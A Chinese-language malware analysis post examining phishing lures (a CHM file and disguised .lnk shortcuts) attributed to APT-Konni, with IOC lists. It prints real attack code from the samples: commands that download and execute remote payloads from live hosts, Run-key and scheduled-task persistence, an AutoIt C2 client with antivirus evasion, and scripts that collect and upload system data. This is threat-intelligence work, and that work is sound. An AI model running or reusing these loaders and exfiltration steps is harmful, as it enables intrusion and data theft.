前言
此文围绕常见的APT攻击手法来编写,高级持续性威胁(APT)攻击,以其隐蔽性和持久性,对企业和个人的信息安全构成了重大威胁。APT攻击者通常采用简单但高效的钓鱼文件手法,通过精心伪装的恶意文档和伪装成合法文件的钓鱼邮件,诱导目标用户点击后执行恶意代码,从而获取系统的访问权限。
近期刷推刷到有关APT-Konni组织和一个新组织(SUSU)的攻击活动,攻击样本中几乎都是韩语,Konni组织在近年也是被公开针对韩国企业进行攻击,根据某些情报是与APT37组织有关,而这个SUSU组织是近期才冒出来的,所以组织归属未知,攻击手法都是相似。
OK,然后了你会在此文了解到APT-Konni的钓鱼手法,已经一些攻击流程,使用什么类型的文件进行钓鱼,又使用什么方式来收集系统信息等...。
诱饵一:pc9.chm
Chm文件-静态分析,文件头检查:使用十六进制编辑器查看文件头,确认是否为合法的 CHM 文件。如果是CHM文件的通常会是ITSF,这是CHM文件格式的标志。如果文件头没有这个标志,文件可能不是合法的CHM文件。这里恶意CHM文件中的文件头仍然以ITSF
开头,是因为攻击者利用CHM文件格式作为传播恶意软件的载体。ITSF
标志是CHM文件格式的标准标志,合法的CHM文件也以此开头。所以这个恶意CHM文件为了绕过基本的文件格式检查,达到一些逃避的动作,看起来像一个合法的CHM文件。除非是一些动作比较大的改动Chm文件,可能会变为其它标头,具体根据实际情况判断。
CHM 文件(Compiled HTML Help 文件)是一个可以解压的文件,这是因为 CHM 文件实际上是一个容器,包含了一组 HTML 文件、图像、脚本和其他资源。这些资源被编译和压缩在一起,以便于分发和使用,解压 CHM 文件:CHM 文件实际上是一个压缩包,可以使用工具如7zip将其解压缩,查看其中的内容。
CHM 恶意文件中需要进行 HTML 文件检查,主要是因为 HTML 文件是 CHM 文件的核心内容之一,且 HTML 文件可以包含各种恶意代码,如 JavaScript、VBScript 和 ActiveX 控件等,这些代码可能会在用户打开 CHM 文件时执行,从而实现攻击者行为目的。
在上面截图中可以看到ActiveX 控件中一段代码,在对象元素<OBJECT>
和一个脚本标签<script>
,其目的是利用 ActiveX 控件执行命令。并且使用<OBJECT>
元素,该元素使用了classid="clsid: 52a2aaae-085d-4187-97ea-8c30db990436"
来加载一个特定的 ActiveX 控件。
<OBJECT id=click classid="clsid: 52a2aaae-085d-4187-97ea-8c30db990436" width=1 height=1> <PARAM name="Command" value="ShortCut"> <PARAM name="Button" value="Bitmap:shortcut"> <PARAM name="Item1" value=', cmd, /c echo U3ViIFdNUHJvYyhwX2NtZCkNCg1zZXQgd20gPSBHZXRPYmplY3QoIndpbm1nbXRzOndpbjMyX3Byb2Nlc3MiKQ0KCXN1dCBvd3MgPSBHZXRPYmplY3QoIndpbm1nbXRzOlxyb290XGNpbXYyIikNCglzZXQgb3N0ID0gb3dzLkdldCgiV2luMzJfUHJvY2Vzc1N0YXJ0dXAiKQ0KCXN1dCBvY29uZiA9IG9zdC5TcGF3bkluc3RhbmNlXw0KCW9jb25mLlNob3dXaW5kb3cgPSAxMg0KCWVyclJldHVybiA9IHdtLkNyZWF0ZShwX2NtZCwgTnVsbCwgb2NvbmYsIHBpZCkNCkVuZCBTdWINCg0KdXJsID0gImh0dHA6Ly8zMjk4NC5jbmIzOS5jb20vY29kZS8iDQp1cmkgPSAiaHR0cDovL2FzZGxma2ouYXNkb2ZqaS5ldi9TbXRJbmZvIg0KcG93X2NtZCA9ICJjbWQgL2MgcG93ZXJzaGVsbCAtY29tbWFuZCAiImlleCAod2dldCB4eHgvZGVtby50eHQpLmNvbnRlbnQ7IEluZm9LZXkgLXVyICd4eHgnIiIiDQpwb3dfY21kID0gUmVwbGFjZShwb3dfY21kLCAieHh4IiwgdXJpKQ0KV01Qcm9jKHBvd19jbWQp > "%USERPROFILE%\Links\Document.dat" & start /MIN certutil -decode "%USERPROFILE%\Links\Document.dat" "%USERPROFILE%\Links\Document.vbs" & start /MIN REG ADD HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v Document /t REG SZ /d "%USERPROFILE%\Links\Document.vbs" /f'> <PARAM name="Item2" value="273,1,1"> </OBJECT>
<PARAM>
元素为这个 ActiveX 控件提供了多个参数。其中name="Item1"
的value
是一个被 Base64 编码的命令,我们将编码内容进行解码。
Sub WMProc(p_cmd) set wm = GetObject("winmgmts:win32_process") sut ows = GetObject("winmgmts:\root\cimv2") set ost = ows.Get("Win32_ProcessStartup") sut oconf = ost.SpawnInstance_ oconf.ShowWindow = 12 errReturn = wm.Create(p_cmd, Null, oconf, pid) End Sub url = "http://32984.cnb39.com/code/" uri = "http://asdlfkj.asdofji.ev/SmtInfo" pow_cmd = "cmd /c powershell -command ""iex (wget xxx/demo.txt).content; InfoKey -ur 'xxx'""" pow_cmd = Replace(pow_cmd, "xxx", uri) WMProc(pow_cmd)
对象获取:在上面的代码块中,可以发现到了窗口隐藏启动的动作,代码使用GetObject
函数获取了WMI服务对象,并设置了进程启动的配置(Win32_ProcessStartup
),其中ShowWindow = 12
表示隐藏窗口启动。
set wm = GetObject("winmgmts:win32_process") sut ows = GetObject("winmgmts:\root\cimv2") set ost = ows.Get("Win32_ProcessStartup") sut oconf = ost.SpawnInstance_ oconf.ShowWindow = 12
创建进程:然后WMI服务对象创建了一个新进程。传入的命令是p_cmd
,它将在后面被赋值为一个PowerShell命令。
errReturn = wm.Create(p_cmd, Null, oconf, pid)
URL定义:URL载荷下载
url = "http://32984.cnb39.com/code/" uri = "http://asdlfkj.asdofji.ev/SmtInfo"
PowerShell命令构造:使用powershell -command
执行。iex (wget xxx/demo.txt).content
将会下载并执行远程脚本demo.txt
的内容。InfoKey -ur 'xxx'
这个命令看起来有点奇怪,并没有引用资源,可能用于发送信息到远程服务器。
pow_cmd = "cmd /c powershell -command ""iex (wget xxx/demo.txt).content; InfoKey -ur 'xxx'""" pow_cmd = Replace(pow_cmd, "xxx", uri)
执行恶意命令:最后调用了WMProc
方法,传入构造好的PowerShell命令,并通过WMI服务创建并执行该命令。
WMProc(pow_cmd)
IOCS
http://32984.cnb39.com/code/
http://asdlfkj.asdofji.ev/SmtInfo
诱饵二:1. 알티피_엔지니어링본부 사업개발회의 자료.hwp.lnk
.lnk
文件是 Windows 快捷方式文件,通常用于指向另一个文件或程序。检查.lnk
文件的属性使用 Windows 资源管理器查看.lnk
文件的属性,尤其是目标路径和起始位置,了解它指向什么文件或命令。在下面截图中,在类型看到了快捷方式,如何单单看文件的话,使用了hwp格式来伪装。
%windir%\System32\cmd.exe /c for /f "tokens=*" %a in ('dir C:\Windows\SysWow64\WindowsPowerShell\v1.0\*rshell.exe /s /b /od') do call %a "$thumb=0;<#cVv vltb#>$sow=Get-ChildItem *.lnk;<#ScC AvLl#>$sow=$sow|<#NKU IALT#>where-object{$_.length -eq 0x0020890F};<#
运行启动!
调用 PowerShell 并传递一个脚本。脚本内容被分割成多个部分,混淆了实际功能。
call C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe "$thumb=0;<#cVv vltb#>$sow=Get-ChildItem *.lnk;<#ScC AvLl#>$sow=$sow|<#NKU IALT#>where-object{$_.length -eq 0x0020890F};...
获取当前目录下所有扩展名为 .lnk 且长度为 0x0020890F(2128079字节)的文件。
$sow=Get-ChildItem *.lnk | where-object {$_.length -eq 0x0020890F}
条件检查和递归搜索,如果当前目录没有符合条件的.lnk
文件,则递归搜索临时文件夹中的.lnk
文件。
if ($sow.length -eq 0) { $sow=Get-ChildItem -Path $env:TEMP -Recurse -Filter *.lnk | where-object {$_.length -eq 0x0020890F} | Select-Object -First 1 }
打开.lnk
文件并从偏移量0x150F
读取数据。读取的数据被逐字节解密(这里的解密操作是一个简单的异或运算)。
$language=[System.IO.BinaryReader]::new([System.IO.File]::open($sow, [System.IO.FileMode]::Open, [System.IO.FileAccess]::Read, [System.IO.FileShare]::Read)) try { $language.BaseStream.Seek(0x0000150F, [System.IO.SeekOrigin]::Begin) $scream=$language.ReadBytes(0x00187400) } finally { $language.Close() } for ($teenager=0; $teenager -lt $scream.count; $teenager++) { $scream[$teenager]=$scream[$teenager] -bxor 0x00 } [System.IO.File]::WriteAllBytes($exercise, $scream)
运行解密后的文件,并删除原始.lnk
文件。
& $ruin remove-item -path $turtle -forcez
原始文件:
解密后文件:
创建隐藏目录 c:\VezoQcO。复制 curl.exe 到该目录并重命名为 VezoQcO.exe。使用 VezoQcO.exe 下载两个文件 (AutoIt3.exe 和 xNQbMGm.au3) 并保存到 c:\VezoQcO。
mkdir c:\VezoQcO & attrib +h c:\VezoQcO & cd /d c:\VezoQcO & copy c:\windows\system32\curl.exe VezoQcO.exe & VezoQcO -k -o AutoIt3.exe https://cavasa.com.co/webpyp/wp-includes/images/crystal/hurryup/?rv=super&za=mongo0 & VezoQcO -k -o xNQbMGm.au3 https://cavasa.com.co/webpyp/wp-includes/images/crystal/hurryup/?rv=super&za=mongo1
删除已有的名为 xNQbMGm 的计划任务(如果存在)。创建一个新的计划任务 xNQbMGm,每分钟执行一次,运行 c:\VezoQcO\AutoIt3.exe和c:\VezoQcO\xNQbMGm.au3。
schtasks /delete /tn "xNQbMGm" /f & schtasks /create /sc minute /mo 1 /tn "xNQbMGm" /tr "c:\VezoQcO\AutoIt3.exe c:\VezoQcO\xNQbMGm.au3"
可以看到xNQbMGm.au3和AutoIt3.exe文件,VezoQcO.exe是curl.exe,重其它地方复制过来的,xNQbMGm.au3和AutoIt3.exe这个貌似用来持久化攻击的。
下图是xNQbMGm.au3文件内容:
那么我们看看为什么会定一个计划任务来运行两个文件,其中一个EXE就是正常的马子,而xNQbMGm.au3文件,是用来辅助马子规避的,在整体xNQbMGm.au3文件担任重要任务,在文件头中变量定义了一个远程服务器的IP地址和端口。恶意软件通常会使用这些信息来连接到命令和控制(C&C)服务器,以便接收攻击者的指令或上传窃取的数据。:
Global $SERVER_IP = "62.113.118.157" Global $SERVER_PORT = 37555
变量为后续的网络通信和进程管理做准备
Global $BUFFER_SIZE = 1024 Global $HW32_32 Global $SOCKET Global $CONNECTED = False Global $CMDOPEN = False Global $G_HCHILDDSTD_OUT_RD Global $G_HCHILDDSTD_OUT_WR Global $G_HCHILDDSTD_IN_RD Global $G_HCHILDDSTD_IN_WR Global $G_HPROCESSID
互斥体用于确保只有一个实例在运行。恶意软件通常使用互斥体来防止自己被多次运行,从而避免资源冲突和被检测到的风险。
Global $MUTEXNAME = "Global\RT3AN7C9QS-7UYE-9K6G-A8F1-HY8IT3CNMEQP" If ISMULTIPLE() Then Exit(0) EndIf $CALL = DllCall("kernel32.dll", "ptr", "CreateMutexA", "ptr", 0, "bool", 0, "str", $MUTEXNAME)
定义了两个Avast杀毒软件的进程名。恶意软件通过检测这些进程来决定是否需要避开特定的防护软件。
Local $SCRIPTSPATH = @ScriptFullPath Local $AVASTPROCESSES[2] $AVASTPROCESSES[0] = "AvastUI.exe" $AVASTPROCESSES[1] = "AvastSvc.exe"
获取当前系统运行的所有进程,并检查是否包含Avast杀毒软件的进程。如果发现有Avast运行,将设置$AVASTRUNNING
为True
。这通常意味着恶意软件会根据是否运行杀毒软件来决定下一步行动,以避免被检测和阻止。
$PROCESSLIST = ProcessList() $AVASTRUNNING = False For $I = 1 To $PROCESSLIST[0][0] $PROCESSNAME = $PROCESSLIST[$I][0] If _ARRAYSEARCH($AVASTPROCESSES, $PROCESSNAME) <> + 4294967295 Then $AVASTRUNNING = True ExitLoop EndIf Next
文件中的C2
https://cavasa.com.co/login
IOCS
62.113.118.157
0aaec376904434197bae4f1a10ecfe8d4564d95fdfa8236ea960535710661c5f
https://cavasa.com.co/webpyp/wp-includes/images/crystal/hurryup/?rv=super&za=mongo0
https://cavasa.com.co/webpyp/wp-includes/images/crystal/hurryup/?rv=super&za=mongo1
诱饵三:가상자산업감독규정_제정안.docx.lnk
一共两个文件一个첨부1_가상자산_이용자_보호_등에_관한_법률_2단_정리.docx是为正常文件,而가상자산업감독규정_제정안.docx是一个快捷文件。
가상자산업감독규정_제정안.docx,目录路径用了空格填充,所以看属性看不到执行的命令
%windir%\system32\cmd.exe
运行가상자산업감독규정_제정안.docx,运行后会执行CMD后,打开가상자산업감독규정_제정안.docx文件
返回文件夹你会发现가상자산업감독규정_제정안.docx本来是快捷方式类型,运行后变成了文档类型
运行使用wireshark抓包,发现与5.255.109.145 IP进行通信,而且存在网络不稳情况,有重连情况!
按道理运行之后会落地文件之类的,上个步骤发现文件落地,后来用了procexp来监控,发现CMD-调用powershell一直运行PID不停的变,运行之后关闭,也可以看到powershell运行的是什么命令内容!
通过右键查询该进程的大概内容,IP通信情况:
执行命令内容:
powershell -command "function qVnVoAkFvI{param ($xSoHyVoevm,$UWoSbQKpKfgC);$hSwiFoeRbG = [System.Text.Encoding]::UTF8.GetBytes($xSoHyVoevm); $zuisyfEiudJ = [System.Text.Encoding]::UTF8.GetBytes($UWoSbQKpKfgC);$WfPaMFvXybc = New-Object byte[](256);$DngxihRctf = New-Object byte[](256);for ($RMtJWTHKqi = 0; $RMtJWTHKqi -lt 256; $RMtJWTHKqi++) {$WfPaMFvXybc[$RMtJWTHKqi] = $RMtJWTHKqi;$DngxihRctf[$RMtJWTHKqi] = $zuisyfEiudJ[$RMtJWTHKqi % $zuisyfEiudJ.Length];}$BbXpddJEKJ = 0;for ($RMtJWTHKqi = 0; $RMtJWTHKqi -lt 256; $RMtJWTHKqi++) {$BbXpddJEKJ = ($BbXpddJEKJ + $WfPaMFvXybc[$RMtJWTHKqi] + $DngxihRctf[$RMtJWTHKqi]) % 256;$AouHElHoLLh = $WfPaMFvXybc[$RMtJWTHKqi];$WfPaMFvXybc[$RMtJWTHKqi] = $WfPaMFvXybc[$BbXpddJEKJ];$WfPaMFvXybc[$BbXpddJEKJ] = $AouHElHoLLh;}$zNTcxEPqmlSZ = New-Object byte[] $hSwiFoeRbG.Length;$RMtJWTHKqi = 0;$BbXpddJEKJ = 0;for ($tPnMrIoRhORX = 0; $tPnMrIoRhORX -lt $hSwiFoeRbG.Length; $tPnMrIoRhORX++) {$RMtJWTHKqi = ($RMtJWTHKqi + 1) % 256;$BbXpddJEKJ = ($BbXpddJEKJ + $WfPaMFvXybc[$RMtJWTHKqi]) % 256;$AouHElHoLLh = $WfPaMFvXybc[$RMtJWTHKqi];$WfPaMFvXybc[$RMtJWTHKqi] = $WfPaMFvXybc[$BbXpddJEKJ];$WfPaMFvXybc[$BbXpddJEKJ] = $AouHElHoLLh;$FyAAfLHhJKU = ($WfPaMFvXybc[$RMtJWTHKqi] + $WfPaMFvXybc[$BbXpddJEKJ]) % 256;$zNTcxEPqmlSZ[$tPnMrIoRhORX] = $hSwiFoeRbG[$tPnMrIoRhORX] -bxor $WfPaMFvXybc[$FyAAfLHhJKU];}$PkbGxBaoNxC = [System.Convert]::ToBase64String($zNTcxEPqmlSZ);return $PkbGxBaoNxC;};$IYCDDUQVjm = 'http://settlores.com/list.php?f=DESKTOP-26HIFVD.txt';$XozipRzFdUbV = 'C:\Users\Public\Documents\qVYRo.cab';Add-Type -AssemblyName 'System.Web';$bGPpwtTNBR=(Get-Date).Ticks.ToString();$ZrRtlcgcoiF = $IYCDDUQVjm.Split('?')[1];$kSJXMVLcld = qVnVoAkFvI -xSoHyVoevm $ZrRtlcgcoiF -UWoSbQKpKfgC $bGPpwtTNBR;$IYCDDUQVjm=$IYCDDUQVjm.Split('?')[0]+'?'+$bGPpwtTNBR+'='+[System.Web.HttpUtility]::UrlEncode($kSJXMVLcld);iwr -Uri $IYCDDUQVjm -OutFile $XozipRzFdUbV;"
文件落地目录C:\Users\Public\Documents:
访问了哪个URL下载的落地内容,最后将收集到的信息通过http://settlores.com/upload.php回传:
上面整个过程介绍完,我通过落地文件C:\Users\Public\Documents找到下载到的文件:
落地文件:09402649.bat
关闭命令回显,这样批处理文件运行时不会显示命令本身。
pushd "%~dp0"
将当前目录更改为批处理文件所在的目录。
if exist "95060869.bat" ( reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v svchostno2 /t REG_SZ /d "%~dp0start.vbs" /f > nul call 95060869.bat > nul call 34631202.bat > nul del /f /q 95060869.bat > nul )
如果存在文件95060869.bat
,则执行以下操作:
- 将注册表项
svchostno2
添加到HKCU\Software\Microsoft\Windows\CurrentVersion\Run
中,使start.vbs
脚本在用户登录时自动运行。 - 运行
95060869.bat
脚本。 - 运行
34631202.bat
脚本。 - 删除
95060869.bat
文件。
if not exist "95060869.bat" ( if not exist "upok.txt" ( call 34631202.bat > nul ) )
如果不存在95060869.bat
文件且不存在upok.txt
文件,则运行34631202.bat
脚本。
if not exist "fin.txt" (goto 1) if exist "fin.txt" (goto EXIT)
- 如果不存在
fin.txt
文件,则跳转到标签1
。 - 如果存在
fin.txt
文件,则跳转到标签EXIT
。
:1 call 42736915.bat > nul timeout -t 57 /nobreak if not exist "fin.txt" (goto 1) if exist "fin.txt" (goto EXIT)
标签1
:
- 运行
42736915.bat
脚本。 - 等待 57 秒。
- 如果不存在
fin.txt
文件,则重新跳转到标签1
。 - 如果存在
fin.txt
文件,则跳转到标签EXIT
。
:EXIT del /f /q "fin.txt"
标签EXIT
:
- 删除
fin.txt
文件。
落地文件:14886621.bat
同样关闭命令回显, 命令中PowerShell 脚本定义了一个名为yKjZqYkoeQ的函数,定义了一个名为yKjZqYkoeQ的函数,该函数接受一个字符串和一个密钥作为参数,执行一些编码/解码操作。根据当前日期的时间戳生成一个密钥。
落地文件:34631202.bat
将用户下载、文档和桌面文件夹的内容输出到文本文件中,包括系统信息输出:将系统信息输出到d4.txt文本文件中,等待5秒,调用14886621.bat
将生成的文本文件上传到指定的 URL。
落地文件:36980785.bat
根据 md12 的值决定是否加密 URL 查询字符串,使用 PowerShell 下载文件到指定路径,如果 md12 为 0,则直接下载文件;否则,使用加密后的 URL 下载文件。
落地文件:42736915.bat
检查并删除 temprun.bat:如果 temprun.bat 文件存在,则删除,而且还调用另一个批处理脚本 36980785.bat也就是上面那个bat文件:下载并保存一个压缩文件 qVYRo.cab,解压 qVYRo.cab 中的所有文件到当前目录。然后删除解压后的 qVYRo.cab 文件,执行 temprun.bat:运行解压后生成的 temprun.bat 文件。
落地文件:84454274.bat
创建一个 Shell 应用程序对象,获取脚本所在目录下由第一个参数%~1
指定的子目录对象,获取该目录下第一个文件或文件夹的名称,将输出重定向到脚本所在目录下由第二个参数%~2
指定的文件中。
落地文件:start.vbs
使用GetObject
方法创建一个新的 Shell 对象。9BA05972-F6A8-11CF-A442-00A0C90A8F39
是 Internet Explorer 的Shell.Explorer
类的 CLSID。获取 Shell 对象的 Item,使用WScript.ScriptFullName
获取脚本的完整路径,然后通过InstrRev
函数找到最后一个反斜杠 (\
) 的位置,从而提取脚本所在的目录路径。然后使用 Shell 对象的ShellExecute
方法来执行批处理文件09402649.bat
也就是开头第一个文件。
上面整个过程,从诱饵文件、批处理脚本和 PowerShell 脚本进行复杂的多阶段攻击,涉及初始访问、执行、持久化、防御规避、凭证访问、发现、收集和命令与控制等多个方面的 ATT&CK 技术。如果仔细发现第一个bat脚本通过注册表项让恶意脚本在用户登录时自动运行,就已经落定,而且它还会采集系统信息,而且有些识别为虚拟环境恶意脚本将不会继续运行。
IOCS
88b901dc2d5df59f54f02b248c24a4426796ded81ff06cd309d4c54c94a13df9
http://settlores.com/list.php?638501172391230007=JJI04VaxIyPGHmEcN9Tv/AB5ewhJ
http://settlores.com/list.php?638459689874598023=xsCywy9MIdoxkhQsPE7OHfP02bPh
http://oryzanine.com/index.php?e27=qe6RRZjKjG&mIc=qxLRKcqlFa
http://settlores.com/list.php?638459689297099214=CAQJ9rrl89OcjIMVxsII2Ydg7cv1
http://settlores.com/get.php?638501171453885631=aNK/mSlBUdSlWF1SxFVkkw==
http://settlores.com/list.php?638459690454909301=AmmeR0mQWyhQYBAiLULzN9za3hGA
http://settlores.com/list.php?638459690385690692=TJd+RhDnPX1oQdY821ULR3no8Gm6
http://settlores.com/list.php?638459689228661846=vfulyS6Dwg9FBlSxmxwR7ZssFheN
http://settlores.com/get.php?638459689133703321=dQz/v1LricbCI2qzRd38qw==
http://settlores.com/get.php?638459689148682411=p8paUIDVaq1Z2c+v+3T3mQ==
4A评测 - 免责申明
本站提供的一切软件、教程和内容信息仅限用于学习和研究目的。
不得将上述内容用于商业或者非法用途,否则一切后果请用户自负。
本站信息来自网络,版权争议与本站无关。您必须在下载后的24个小时之内,从您的电脑或手机中彻底删除上述内容。
如果您喜欢该程序,请支持正版,购买注册,得到更好的正版服务。如有侵权请邮件与我们联系处理。敬请谅解!
程序来源网络,不确保不包含木马病毒等危险内容,请在确保安全的情况下或使用虚拟机使用。
侵权违规投诉邮箱:4ablog168#gmail.com(#换成@)